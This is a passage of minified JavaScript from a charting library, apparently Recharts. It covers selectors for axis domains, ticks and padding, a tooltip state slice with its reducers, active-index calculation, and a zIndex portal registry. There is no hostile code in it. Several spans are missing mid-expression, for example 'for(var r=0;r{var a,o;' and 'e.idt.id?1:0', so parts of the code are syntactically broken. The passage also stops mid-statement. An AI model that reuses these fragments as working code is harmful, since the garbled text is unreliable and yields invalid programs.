0:t.dataKey)!=null?e.map(r=>({value:Re(r,t.dataKey)})):n.length>0?n.map(r=>r.dataKey).flatMap(r=>e.map(i=>({value:Re(i,r)}))):e.map(r=>({value:r})),qd=M([C0,Qe,il],P0);function _4(e,t){switch(e){case"xAxis":return t.direction==="x";case"yAxis":return t.direction==="y";default:return!1}}function dc(e){if(br(e)||e instanceof Date){var t=Number(e);if(je(t))return t}}function ib(e){if(Array.isArray(e)){var t=[dc(e[0]),dc(e[1])];return Sr(t)?t:void 0}var n=dc(e);if(n!=null)return[n,n]}function zr(e){return e.map(dc).filter(Yn)}function f7(e,t,n){return!n||typeof t!="number"||er(t)?[]:n.length?zr(n.flatMap(r=>{var i=Re(e,r.dataKey),a,o;if(Array.isArray(i)?[a,o]=i:a=o=i,!(!je(a)||!je(o)))return[t-a,t+o]})):[]}var ut=e=>{var t=gt(e),n=us(e);return ds(e,t,n)},al=M([ut],e=>e==null?void 0:e.dataKey),p7=M([E4,r4,ut],k4),O4=(e,t,n,r)=>{var i={},a=t.reduce((o,l)=>{if(l.stackId==null)return o;var c=o[l.stackId];return c==null&&(c=[]),c.push(l),o[l.stackId]=c,o},i);return Object.fromEntries(Object.entries(a).map(o=>{var[l,c]=o,u=r?[...c].reverse():c,d=u.map(b0);return[l,{stackedData:Z6(e,d,n),graphicalItems:u}]}))},T4=M([p7,E4,nl,h4],O4),M4=(e,t,n,r)=>{var{dataStartIndex:i,dataEndIndex:a}=t;if(r==null&&n!=="zAxis"){var o=tT(e,i,a);if(!(o!=null&&o[0]===0&&o[1]===0))return o}},m7=M([Qe],e=>e.allowDataOverflow),E0=e=>{var t;if(e==null||!("domain"in e))return rh;if(e.domain!=null)return e.domain;if("ticks"in e&&e.ticks!=null){if(e.type==="number"){var n=zr(e.ticks);return[Math.min(...n),Math.max(...n)]}if(e.type==="category")return e.ticks.map(String)}return(t=e==null?void 0:e.domain)!==null&&t!==void 0?t:rh},A0=M([Qe],E0),_0=M([A0,m7],i4),h7=M([T4,Tr,Ye,_0],M4,{memoizeOptions:{resultEqualityCheck:Hd}}),Yd=e=>e.errorBars,x7=(e,t,n)=>e.flatMap(r=>t[r.id]).filter(Boolean).filter(r=>_4(n,r)),Nu=function(){for(var t=arguments.length,n=new Array(t),r=0;r{var a,o;if(n.length>0&&e.forEach(l=>{n.forEach(c=>{var u,d,f=(u=r[c.id])===null||u===void 0?void 0:u.filter(v=>_4(i,v)),m=Re(l,(d=t.dataKey)!==null&&d!==void 0?d:c.dataKey),h=f7(l,m,f);if(h.length>=2){var x=Math.min(...h),g=Math.max(...h);(a==null||xo)&&(o=g)}var y=ib(m);y!=null&&(a=a==null?y[0]:Math.min(a,y[0]),o=o==null?y[1]:Math.max(o,y[1]))})}),(t==null?void 0:t.dataKey)!=null&&e.forEach(l=>{var c=ib(Re(l,t.dataKey));c!=null&&(a=a==null?c[0]:Math.min(a,c[0]),o=o==null?c[1]:Math.max(o,c[1]))}),je(a)&&je(o))return[a,o]},v7=M([C0,Qe,u7,Yd,Ye],O0,{memoizeOptions:{resultEqualityCheck:Hd}});function g7(e){var{value:t}=e;if(br(t)||t instanceof Date)return t}var y7=(e,t,n)=>{var r=e.map(g7).filter(i=>i!=null);return n&&(t.dataKey==null||t.allowDuplicatedCategory&&M5(r))?kN(0,e.length):t.allowDuplicatedCategory?r:Array.from(new Set(r))},L4=e=>e.referenceElements.dots,fs=(e,t,n)=>e.filter(r=>r.ifOverflow==="extendDomain").filter(r=>t==="xAxis"?r.xAxisId===n:r.yAxisId===n),b7=M([L4,Ye,rl],fs),I4=e=>e.referenceElements.areas,w7=M([I4,Ye,rl],fs),D4=e=>e.referenceElements.lines,j7=M([D4,Ye,rl],fs),R4=(e,t)=>{if(e!=null){var n=zr(e.map(r=>t==="xAxis"?r.x:r.y));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},k7=M(b7,Ye,R4),$4=(e,t)=>{if(e!=null){var n=zr(e.flatMap(r=>[t==="xAxis"?r.x1:r.y1,t==="xAxis"?r.x2:r.y2]));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},N7=M([w7,Ye],$4);function S7(e){var t;if(e.x!=null)return zr([e.x]);var n=(t=e.segment)===null||t===void 0?void 0:t.map(r=>r.x);return n==null||n.length===0?[]:zr(n)}function z7(e){var t;if(e.y!=null)return zr([e.y]);var n=(t=e.segment)===null||t===void 0?void 0:t.map(r=>r.y);return n==null||n.length===0?[]:zr(n)}var B4=(e,t)=>{if(e!=null){var n=e.flatMap(r=>t==="xAxis"?S7(r):z7(r));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},C7=M([j7,Ye],B4),P7=M(k7,C7,N7,(e,t,n)=>Nu(e,n,t)),T0=(e,t,n,r,i,a,o,l)=>{if(n!=null)return n;var c=o==="vertical"&&l==="xAxis"||o==="horizontal"&&l==="yAxis",u=c?Nu(r,a,i):Nu(a,i);return $I(t,u,e.allowDataOverflow)},E7=M([Qe,A0,_0,h7,v7,P7,_e,Ye],T0,{memoizeOptions:{resultEqualityCheck:Hd}}),A7=[0,1],M0=(e,t,n,r,i,a,o)=>{if(!((e==null||n==null||n.length===0)&&o===void 0)){var{dataKey:l,type:c}=e,u=ir(t,a);if(u&&l==null){var d;return kN(0,(d=n==null?void 0:n.length)!==null&&d!==void 0?d:0)}return c==="category"?y7(r,e,u):i==="expand"?A7:o}},L0=M([Qe,_e,C0,qd,nl,Ye,E7],M0);function _7(e){return e in Vs}var F4=(e,t,n)=>{if(e!=null){var{scale:r,type:i}=e;if(r==="auto")return i==="category"&&n&&(n.indexOf("LineChart")>=0||n.indexOf("AreaChart")>=0||n.indexOf("ComposedChart")>=0&&!t)?"point":i==="category"?"band":"linear";if(typeof r=="string"){var a="scale".concat(Ko(r));return _7(a)?a:"point"}}},gi=M([Qe,C4,m0],F4);function I0(e,t,n,r){if(!(n==null||r==null))return typeof e.scale=="function"?nb(e.scale,n,r):nb(t,n,r)}var D0=(e,t,n)=>{var r=E0(t);if(!(n!=="auto"&&n!=="linear")){if(t!=null&&t.tickCount&&Array.isArray(r)&&(r[0]==="auto"||r[1]==="auto")&&Sr(e))return VI(e,t.tickCount,t.allowDecimals);if(t!=null&&t.tickCount&&t.type==="number"&&Sr(e))return HI(e,t.tickCount,t.allowDecimals)}},R0=M([L0,ds,gi],D0),$0=(e,t,n,r)=>{if(r!=="angleAxis"&&(e==null?void 0:e.type)==="number"&&Sr(t)&&Array.isArray(n)&&n.length>0){var i,a,o=t[0],l=(i=n[0])!==null&&i!==void 0?i:0,c=t[1],u=(a=n[n.length-1])!==null&&a!==void 0?a:0;return[Math.min(o,l),Math.max(c,u)]}return t},O7=M([Qe,L0,R0,Ye],$0),T7=M(qd,Qe,(e,t)=>{if(!(!t||t.type!=="number")){var n=1/0,r=Array.from(zr(e.map(f=>f.value))).sort((f,m)=>f-m),i=r[0],a=r[r.length-1];if(i==null||a==null)return 1/0;var o=a-i;if(o===0)return 1/0;for(var l=0;li,(e,t,n,r,i)=>{if(!je(e))return 0;var a=t==="vertical"?r.height:r.width;if(i==="gap")return e*a/2;if(i==="no-gap"){var o=nn(n,e*a),l=e*a/2;return l-o-(l-o)/a*o}return 0}),M7=(e,t,n)=>{var r=Mr(e,t);return r==null||typeof r.padding!="string"?0:W4(e,"xAxis",t,n,r.padding)},L7=(e,t,n)=>{var r=Lr(e,t);return r==null||typeof r.padding!="string"?0:W4(e,"yAxis",t,n,r.padding)},I7=M(Mr,M7,(e,t)=>{var n,r;if(e==null)return{left:0,right:0};var{padding:i}=e;return typeof i=="string"?{left:t,right:t}:{left:((n=i.left)!==null&&n!==void 0?n:0)+t,right:((r=i.right)!==null&&r!==void 0?r:0)+t}}),D7=M(Lr,L7,(e,t)=>{var n,r;if(e==null)return{top:0,bottom:0};var{padding:i}=e;return typeof i=="string"?{top:t,bottom:t}:{top:((n=i.top)!==null&&n!==void 0?n:0)+t,bottom:((r=i.bottom)!==null&&r!==void 0?r:0)+t}}),R7=M([xt,I7,Pd,Cd,(e,t,n)=>n],(e,t,n,r,i)=>{var{padding:a}=r;return i?[a.left,n.width-a.right]:[e.left+t.left,e.left+e.width-t.right]}),$7=M([xt,_e,D7,Pd,Cd,(e,t,n)=>n],(e,t,n,r,i,a)=>{var{padding:o}=i;return a?[r.height-o.bottom,o.top]:t==="horizontal"?[e.top+e.height-n.bottom,e.top+n.top]:[e.top+n.top,e.top+e.height-n.bottom]}),sl=(e,t,n,r)=>{var i;switch(t){case"xAxis":return R7(e,n,r);case"yAxis":return $7(e,n,r);case"zAxis":return(i=j0(e,n))===null||i===void 0?void 0:i.range;case"angleAxis":return b4(e);case"radiusAxis":return w4(e,n);default:return}},U4=M([Qe,sl],Ud),B7=M([gi,O7],N4),Gd=M([Qe,gi,B7,U4],I0);M([il,Yd,Ye],x7);function V4(e,t){return e.idt.id?1:0}var Xd=(e,t)=>t,Zd=(e,t,n)=>n,F7=M(Sd,Xd,Zd,(e,t,n)=>e.filter(r=>r.orientation===t).filter(r=>r.mirror===n).sort(V4)),W7=M(zd,Xd,Zd,(e,t,n)=>e.filter(r=>r.orientation===t).filter(r=>r.mirror===n).sort(V4)),H4=(e,t)=>({width:e.width,height:t.height}),U7=(e,t)=>{var n=typeof t.width=="number"?t.width:Go;return{width:n,height:e.height}};M(xt,Mr,H4);var V7=(e,t,n)=>{switch(t){case"top":return e.top;case"bottom":return n-e.bottom;default:return 0}},H7=(e,t,n)=>{switch(t){case"left":return e.left;case"right":return n-e.right;default:return 0}},K7=M(_r,xt,F7,Xd,Zd,(e,t,n,r,i)=>{var a={},o;return n.forEach(l=>{var c=H4(t,l);o==null&&(o=V7(t,r,e));var u=r==="top"&&!i||r==="bottom"&&i;a[l.id]=o-Number(u)*c.height,o+=(u?-1:1)*c.height}),a}),q7=M(Ar,xt,W7,Xd,Zd,(e,t,n,r,i)=>{var a={},o;return n.forEach(l=>{var c=U7(t,l);o==null&&(o=H7(t,r,e));var u=r==="left"&&!i||r==="right"&&i;a[l.id]=o-Number(u)*c.width,o+=(u?-1:1)*c.width}),a}),Y7=(e,t)=>{var n=Mr(e,t);if(n!=null)return K7(e,n.orientation,n.mirror)};M([xt,Mr,Y7,(e,t)=>t],(e,t,n,r)=>{if(t!=null){var i=n==null?void 0:n[r];return i==null?{x:e.left,y:0}:{x:e.left,y:i}}});var G7=(e,t)=>{var n=Lr(e,t);if(n!=null)return q7(e,n.orientation,n.mirror)};M([xt,Lr,G7,(e,t)=>t],(e,t,n,r)=>{if(t!=null){var i=n==null?void 0:n[r];return i==null?{x:0,y:e.top}:{x:i,y:e.top}}});M(xt,Lr,(e,t)=>{var n=typeof t.width=="number"?t.width:Go;return{width:n,height:e.height}});var K4=(e,t,n,r)=>{if(n!=null){var{allowDuplicatedCategory:i,type:a,dataKey:o}=n,l=ir(e,r),c=t.map(u=>u.value);if(o&&l&&a==="category"&&i&&M5(c))return c}},B0=M([_e,qd,Qe,Ye],K4),q4=(e,t,n,r)=>{if(!(n==null||n.dataKey==null)){var{type:i,scale:a}=n,o=ir(e,r);if(o&&(i==="number"||a!=="auto"))return t.map(l=>l.value)}},F0=M([_e,qd,ds,Ye],q4);M([_e,l7,gi,Gd,B0,F0,sl,R0,Ye],(e,t,n,r,i,a,o,l,c)=>{if(t!=null){var u=ir(e,c);return{angle:t.angle,interval:t.interval,minTickGap:t.minTickGap,orientation:t.orientation,tick:t.tick,tickCount:t.tickCount,tickFormatter:t.tickFormatter,ticks:t.ticks,type:t.type,unit:t.unit,axisType:c,categoricalDomain:a,duplicateDomain:i,isCategorical:u,niceTicks:l,range:o,realScaleType:n,scale:r}}});var X7=(e,t,n,r,i,a,o,l,c)=>{if(!(t==null||r==null)){var u=ir(e,c),{type:d,ticks:f,tickCount:m}=t,h=n==="scaleBand"&&typeof r.bandwidth=="function"?r.bandwidth()/2:2,x=d==="category"&&r.bandwidth?r.bandwidth()/h:0;x=c==="angleAxis"&&a!=null&&a.length>=2?Ft(a[0]-a[1])*2*x:x;var g=f||i;return g?g.map((y,v)=>{var b=o?o.indexOf(y):y,w=r.map(b);return je(w)?{index:v,coordinate:w+x,value:y,offset:x}:null}).filter(Yn):u&&l?l.map((y,v)=>{var b=r.map(y);return je(b)?{coordinate:b+x,value:y,index:v,offset:x}:null}).filter(Yn):r.ticks?r.ticks(m).map((y,v)=>{var b=r.map(y);return je(b)?{coordinate:b+x,value:y,index:v,offset:x}:null}).filter(Yn):r.domain().map((y,v)=>{var b=r.map(y);return je(b)?{coordinate:b+x,value:o?o[y]:y,index:v,offset:x}:null}).filter(Yn)}};M([_e,ds,gi,Gd,R0,sl,B0,F0,Ye],X7);var Z7=(e,t,n,r,i,a,o)=>{if(!(t==null||n==null||r==null||r[0]===r[1])){var l=ir(e,o),{tickCount:c}=t,u=0;return u=o==="angleAxis"&&(r==null?void 0:r.length)>=2?Ft(r[0]-r[1])*2*u:u,l&&a?a.map((d,f)=>{var m=n.map(d);return je(m)?{coordinate:m+u,value:d,index:f,offset:u}:null}).filter(Yn):n.ticks?n.ticks(c).map((d,f)=>{var m=n.map(d);return je(m)?{coordinate:m+u,value:d,index:f,offset:u}:null}).filter(Yn):n.domain().map((d,f)=>{var m=n.map(d);return je(m)?{coordinate:m+u,value:i?i[d]:d,index:f,offset:u}:null}).filter(Yn)}},Y4=M([_e,ds,Gd,sl,B0,F0,Ye],Z7),G4=M(Qe,Gd,(e,t)=>{if(!(e==null||t==null))return ku(ku({},e),{},{scale:t})}),Q7=M([Qe,gi,L0,U4],I0);M((e,t,n)=>j0(e,n),Q7,(e,t)=>{if(!(e==null||t==null))return ku(ku({},e),{},{scale:t})});var J7=M([_e,Sd,zd],(e,t,n)=>{switch(e){case"horizontal":return t.some(r=>r.reversed)?"right-to-left":"left-to-right";case"vertical":return n.some(r=>r.reversed)?"bottom-to-top":"top-to-bottom";case"centric":case"radial":return"left-to-right";default:return}}),X4=e=>e.options.defaultTooltipEventType,Z4=e=>e.options.validateTooltipEventTypes;function Q4(e,t,n){if(e==null)return t;var r=e?"axis":"item";return n==null?t:n.includes(r)?r:t}function W0(e,t){var n=X4(e),r=Z4(e);return Q4(t,n,r)}function eD(e){return xe(t=>W0(t,e))}var J4=(e,t)=>{var n,r=Number(t);if(!(er(r)||t==null))return r>=0?e==null||(n=e[r])===null||n===void 0?void 0:n.value:void 0},tD=e=>e.tooltip.settings,Hr={active:!1,index:null,dataKey:void 0,graphicalItemId:void 0,coordinate:void 0},nD={itemInteraction:{click:Hr,hover:Hr},axisInteraction:{click:Hr,hover:Hr},keyboardInteraction:Hr,syncInteraction:{active:!1,index:null,dataKey:void 0,label:void 0,coordinate:void 0,sourceViewBox:void 0,graphicalItemId:void 0},tooltipItemPayloads:[],settings:{shared:void 0,trigger:"hover",axisId:0,active:!1,defaultIndex:void 0}},eS=Yt({name:"tooltip",initialState:nD,reducers:{addTooltipEntrySettings:{reducer(e,t){e.tooltipItemPayloads.push(t.payload)},prepare:$e()},replaceTooltipEntrySettings:{reducer(e,t){var{prev:n,next:r}=t.payload,i=In(e).tooltipItemPayloads.indexOf(n);i>-1&&(e.tooltipItemPayloads[i]=r)},prepare:$e()},removeTooltipEntrySettings:{reducer(e,t){var n=In(e).tooltipItemPayloads.indexOf(t.payload);n>-1&&e.tooltipItemPayloads.splice(n,1)},prepare:$e()},setTooltipSettingsState(e,t){e.settings=t.payload},setActiveMouseOverItemIndex(e,t){e.syncInteraction.active=!1,e.keyboardInteraction.active=!1,e.itemInteraction.hover.active=!0,e.itemInteraction.hover.index=t.payload.activeIndex,e.itemInteraction.hover.dataKey=t.payload.activeDataKey,e.itemInteraction.hover.graphicalItemId=t.payload.activeGraphicalItemId,e.itemInteraction.hover.coordinate=t.payload.activeCoordinate},mouseLeaveChart(e){e.itemInteraction.hover.active=!1,e.axisInteraction.hover.active=!1},mouseLeaveItem(e){e.itemInteraction.hover.active=!1},setActiveClickItemIndex(e,t){e.syncInteraction.active=!1,e.itemInteraction.click.active=!0,e.keyboardInteraction.active=!1,e.itemInteraction.click.index=t.payload.activeIndex,e.itemInteraction.click.dataKey=t.payload.activeDataKey,e.itemInteraction.click.graphicalItemId=t.payload.activeGraphicalItemId,e.itemInteraction.click.coordinate=t.payload.activeCoordinate},setMouseOverAxisIndex(e,t){e.syncInteraction.active=!1,e.axisInteraction.hover.active=!0,e.keyboardInteraction.active=!1,e.axisInteraction.hover.index=t.payload.activeIndex,e.axisInteraction.hover.dataKey=t.payload.activeDataKey,e.axisInteraction.hover.coordinate=t.payload.activeCoordinate},setMouseClickAxisIndex(e,t){e.syncInteraction.active=!1,e.keyboardInteraction.active=!1,e.axisInteraction.click.active=!0,e.axisInteraction.click.index=t.payload.activeIndex,e.axisInteraction.click.dataKey=t.payload.activeDataKey,e.axisInteraction.click.coordinate=t.payload.activeCoordinate},setSyncInteraction(e,t){e.syncInteraction=t.payload},setKeyboardInteraction(e,t){e.keyboardInteraction.active=t.payload.active,e.keyboardInteraction.index=t.payload.activeIndex,e.keyboardInteraction.coordinate=t.payload.activeCoordinate}}}),{addTooltipEntrySettings:rD,replaceTooltipEntrySettings:iD,removeTooltipEntrySettings:aD,setTooltipSettingsState:sD,setActiveMouseOverItemIndex:tS,mouseLeaveItem:oD,mouseLeaveChart:nS,setActiveClickItemIndex:lD,setMouseOverAxisIndex:rS,setMouseClickAxisIndex:cD,setSyncInteraction:ih,setKeyboardInteraction:ah}=eS.actions,uD=eS.reducer;function ab(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Bl(e){for(var t=1;t{if(t==null)return Hr;var i=mD(e,t,n);if(i==null)return Hr;if(i.active)return i;if(e.keyboardInteraction.active)return e.keyboardInteraction;if(e.syncInteraction.active&&e.syncInteraction.index!=null)return e.syncInteraction;var a=e.settings.active===!0;if(hD(i)){if(a)return Bl(Bl({},i),{},{active:!0})}else if(r!=null)return{active:!0,coordinate:void 0,dataKey:void 0,index:r,graphicalItemId:void 0};return Bl(Bl({},Hr),{},{coordinate:i.coordinate})};function xD(e){if(typeof e=="number")return Number.isFinite(e)?e:void 0;if(e instanceof Date){var t=e.valueOf();return Number.isFinite(t)?t:void 0}var n=Number(e);return Number.isFinite(n)?n:void 0}function vD(e,t){var n=xD(e),r=t[0],i=t[1];if(n===void 0)return!1;var a=Math.min(r,i),o=Math.max(r,i);return n>=a&&n<=o}function gD(e,t,n){if(n==null||t==null)return!0;var r=Re(e,t);return r==null||!Sr(n)?!0:vD(r,n)}var U0=(e,t,n,r)=>{var i=e==null?void 0:e.index;if(i==null)return null;var a=Number(i);if(!je(a))return i;var o=0,l=1/0;t.length>0&&(l=t.length-1);var c=Math.max(o,Math.min(a,l)),u=t[c];return u==null||gD(u,n,r)?String(c):null},aS=(e,t,n,r,i,a,o)=>{if(a!=null){var l=o[0],c=l==null?void 0:l.getPosition(a);if(c!=null)return c;var u=i==null?void 0:i[Number(a)];if(u)switch(n){case"horizontal":return{x:u.coordinate,y:(r.top+t)/2};default:return{x:(r.left+e)/2,y:u.coordinate}}}},sS=(e,t,n,r)=>{if(t==="axis")return e.tooltipItemPayloads;if(e.tooltipItemPayloads.length===0)return[];var i;if(n==="hover"?i=e.itemInteraction.hover.graphicalItemId:i=e.itemInteraction.click.graphicalItemId,i==null&&r!=null){var a=e.tooltipItemPayloads[0];return a!=null?[a]:[]}return e.tooltipItemPayloads.filter(o=>{var l;return((l=o.settings)===null||l===void 0?void 0:l.graphicalItemId)===i})},oS=e=>e.options.tooltipPayloadSearcher,ps=e=>e.tooltip;function sb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ob(e){for(var t=1;t{if(!(t==null||a==null)){var{chartData:l,computedData:c,dataStartIndex:u,dataEndIndex:d}=n,f=[];return e.reduce((m,h)=>{var x,{dataDefinedOnItem:g,settings:y}=h,v=jD(g,l),b=Array.isArray(v)?Uk(v,u,d):v,w=(x=y==null?void 0:y.dataKey)!==null&&x!==void 0?x:r,j=y==null?void 0:y.nameKey,k;if(r&&Array.isArray(b)&&!Array.isArray(b[0])&&o==="axis"?k=L5(b,r,i):k=a(b,t,c,j),Array.isArray(k))k.forEach(N=>{var z=ob(ob({},y),{},{name:N.name,unit:N.unit,color:void 0,fill:void 0});m.push(hy({tooltipEntrySettings:z,dataKey:N.dataKey,payload:N.payload,value:Re(N.payload,N.dataKey),name:N.name}))});else{var S;m.push(hy({tooltipEntrySettings:y,dataKey:w,payload:k,value:Re(k,w),name:(S=Re(k,j))!==null&&S!==void 0?S:y==null?void 0:y.name}))}return m},f)}},V0=M([ut,C4,m0],F4),kD=M([e=>e.graphicalItems.cartesianItems,e=>e.graphicalItems.polarItems],(e,t)=>[...e,...t]),ND=M([gt,us],k0),ms=M([kD,ut,ND],N0,{memoizeOptions:{resultEqualityCheck:Kd}}),SD=M([ms],e=>e.filter(w0)),zD=M([ms],S0,{memoizeOptions:{resultEqualityCheck:Kd}}),hs=M([zD,Tr],z0),CD=M([SD,Tr,ut],k4),H0=M([hs,ut,ms],P0),cS=M([ut],E0),PD=M([ut],e=>e.allowDataOverflow),uS=M([cS,PD],i4),ED=M([ms],e=>e.filter(w0)),AD=M([CD,ED,nl,h4],O4),_D=M([AD,Tr,gt,uS],M4),OD=M([ms],A4),TD=M([hs,ut,OD,Yd,gt],O0,{memoizeOptions:{resultEqualityCheck:Hd}}),MD=M([L4,gt,us],fs),LD=M([MD,gt],R4),ID=M([I4,gt,us],fs),DD=M([ID,gt],$4),RD=M([D4,gt,us],fs),$D=M([RD,gt],B4),BD=M([LD,$D,DD],Nu),FD=M([ut,cS,uS,_D,TD,BD,_e,gt],T0),ol=M([ut,_e,hs,H0,nl,gt,FD],M0),WD=M([ol,ut,V0],D0),UD=M([ut,ol,WD,gt],$0),dS=e=>{var t=gt(e),n=us(e),r=!1;return sl(e,t,n,r)},fS=M([ut,dS],Ud),pS=M([ut,V0,UD,fS],I0),VD=M([_e,H0,ut,gt],K4),HD=M([_e,H0,ut,gt],q4),KD=(e,t,n,r,i,a,o,l)=>{if(t){var{type:c}=t,u=ir(e,l);if(r){var d=n==="scaleBand"&&r.bandwidth?r.bandwidth()/2:2,f=c==="category"&&r.bandwidth?r.bandwidth()/d:0;return f=l==="angleAxis"&&i!=null&&(i==null?void 0:i.length)>=2?Ft(i[0]-i[1])*2*f:f,u&&o?o.map((m,h)=>{var x=r.map(m);return je(x)?{coordinate:x+f,value:m,index:h,offset:f}:null}).filter(Yn):r.domain().map((m,h)=>{var x=r.map(m);return je(x)?{coordinate:x+f,value:a?a[m]:m,index:h,offset:f}:null}).filter(Yn)}}},Ir=M([_e,ut,V0,pS,dS,VD,HD,gt],KD),K0=M([X4,Z4,tD],(e,t,n)=>Q4(n.shared,e,t)),mS=e=>e.tooltip.settings.trigger,q0=e=>e.tooltip.settings.defaultIndex,ll=M([ps,K0,mS,q0],iS),Qa=M([ll,hs,al,ol],U0),hS=M([Ir,Qa],J4),xS=M([ll],e=>{if(e)return e.dataKey}),qD=M([ll],e=>{if(e)return e.graphicalItemId}),vS=M([ps,K0,mS,q0],sS),YD=M([Ar,_r,_e,xt,Ir,q0,vS],aS),GD=M([ll,YD],(e,t)=>e!=null&&e.coordinate?e.coordinate:t),XD=M([ll],e=>{var t;return(t=e==null?void 0:e.active)!==null&&t!==void 0?t:!1}),ZD=M([vS,Qa,Tr,al,hS,oS,K0],lS),QD=M([ZD],e=>{if(e!=null){var t=e.map(n=>n.payload).filter(n=>n!=null);return Array.from(new Set(t))}});function lb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function cb(e){for(var t=1;txe(ut),rR=()=>{var e=nR(),t=xe(Ir),n=xe(pS);return nu(!e||!n?void 0:cb(cb({},e),{},{scale:n}),t)};function ub(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ua(e){for(var t=1;t{var i=t.find(a=>a&&a.index===n);if(i){if(e==="horizontal")return{x:i.coordinate,y:r.chartY};if(e==="vertical")return{x:r.chartX,y:i.coordinate}}return{x:0,y:0}},lR=(e,t,n,r)=>{var i=t.find(u=>u&&u.index===n);if(i){if(e==="centric"){var a=i.coordinate,{radius:o}=r;return ua(ua(ua({},r),rt(r.cx,r.cy,o,a)),{},{angle:a,radius:o})}var l=i.coordinate,{angle:c}=r;return ua(ua(ua({},r),rt(r.cx,r.cy,l,c)),{},{angle:c,radius:l})}return{angle:0,clockWise:!1,cx:0,cy:0,endAngle:0,innerRadius:0,outerRadius:0,radius:0,startAngle:0,x:0,y:0}};function cR(e,t){var{chartX:n,chartY:r}=e;return n>=t.left&&n<=t.left+t.width&&r>=t.top&&r<=t.top+t.height}var gS=(e,t,n,r,i)=>{var a,o=(a=t==null?void 0:t.length)!==null&&a!==void 0?a:0;if(o<=1||e==null)return 0;if(r==="angleAxis"&&i!=null&&Math.abs(Math.abs(i[1]-i[0])-360)<=1e-6)for(var l=0;l0?(c=n[l-1])===null||c===void 0?void 0:c.coordinate:(u=n[o-1])===null||u===void 0?void 0:u.coordinate,x=(d=n[l])===null||d===void 0?void 0:d.coordinate,g=l>=o-1?(f=n[0])===null||f===void 0?void 0:f.coordinate:(m=n[l+1])===null||m===void 0?void 0:m.coordinate,y=void 0;if(!(h==null||x==null||g==null))if(Ft(x-h)!==Ft(g-x)){var v=[];if(Ft(g-x)===Ft(i[1]-i[0])){y=g;var b=x+i[1]-i[0];v[0]=Math.min(b,(b+h)/2),v[1]=Math.max(b,(b+h)/2)}else{y=h;var w=g+i[1]-i[0];v[0]=Math.min(x,(w+x)/2),v[1]=Math.max(x,(w+x)/2)}var j=[Math.min(x,(y+x)/2),Math.max(x,(y+x)/2)];if(e>j[0]&&e<=j[1]||e>=v[0]&&e<=v[1]){var k;return(k=n[l])===null||k===void 0?void 0:k.index}}else{var S=Math.min(h,g),N=Math.max(h,g);if(e>(S+x)/2&&e<=(N+x)/2){var z;return(z=n[l])===null||z===void 0?void 0:z.index}}}else if(t)for(var O=0;O(_.coordinate+P.coordinate)/2||O>0&&O(_.coordinate+P.coordinate)/2&&e<=(_.coordinate+T.coordinate)/2)return _.index}}return-1},yS=()=>xe(m0),Y0=(e,t)=>t,bS=(e,t,n)=>n,G0=(e,t,n,r)=>r,uR=M(Ir,e=>md(e,t=>t.coordinate)),X0=M([ps,Y0,bS,G0],iS),Z0=M([X0,hs,al,ol],U0),dR=(e,t,n)=>{if(t!=null){var r=ps(e);return t==="axis"?n==="hover"?r.axisInteraction.hover.dataKey:r.axisInteraction.click.dataKey:n==="hover"?r.itemInteraction.hover.dataKey:r.itemInteraction.click.dataKey}},wS=M([ps,Y0,bS,G0],sS),Su=M([Ar,_r,_e,xt,Ir,G0,wS],aS),fR=M([X0,Su],(e,t)=>{var n;return(n=e.coordinate)!==null&&n!==void 0?n:t}),jS=M([Ir,Z0],J4),pR=M([wS,Z0,Tr,al,jS,oS,Y0],lS),mR=M([X0,Z0],(e,t)=>({isActive:e.active&&t!=null,activeIndex:t})),hR=(e,t,n,r,i,a,o)=>{if(!(!e||!n||!r||!i)&&cR(e,o)){var l=nT(e,t),c=gS(l,a,i,n,r),u=oR(t,i,c,e);return{activeIndex:String(c),activeCoordinate:u}}},xR=(e,t,n,r,i,a,o)=>{if(!(!e||!r||!i||!a||!n)){var l=i8(e,n);if(l){var c=rT(l,t),u=gS(c,o,a,r,i),d=lR(t,a,u,l);return{activeIndex:String(u),activeCoordinate:d}}}},vR=(e,t,n,r,i,a,o,l)=>{if(!(!e||!t||!r||!i||!a))return t==="horizontal"||t==="vertical"?hR(e,t,r,i,a,o,l):xR(e,t,n,r,i,a,o)},gR=M(e=>e.zIndex.zIndexMap,(e,t)=>t,(e,t,n)=>n,(e,t,n)=>{if(t!=null){var r=e[t];if(r!=null)return n?r.panoramaElement:r.element}}),yR=M(e=>e.zIndex.zIndexMap,e=>{var t=Object.keys(e).map(r=>parseInt(r,10)).concat(Object.values(Ut)),n=Array.from(new Set(t));return n.sort((r,i)=>r-i)},{memoizeOptions:{resultEqualityCheck:e7}});function db(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function fb(e){for(var t=1;tfb(fb({},e),{},{[t]:{element:void 0,panoramaElement:void 0,consumers:0}}),kR)},SR=new Set(Object.values(Ut));function zR(e){return SR.has(e)}var kS=Yt({name:"zIndex",initialState:NR,reducers:{registerZIndexPortal:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]?e.zIndexMap[n].consumers+=1:e.zIndexMap[n]={consumers:1,element:void 0,panoramaElement:void 0}},prepare:$e()},unregisterZIndexPortal:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]&&(e.zIndexMap[n].consumers-=1,e.zIndexMap[n].consumers<=0&&!zR(n)&&delete 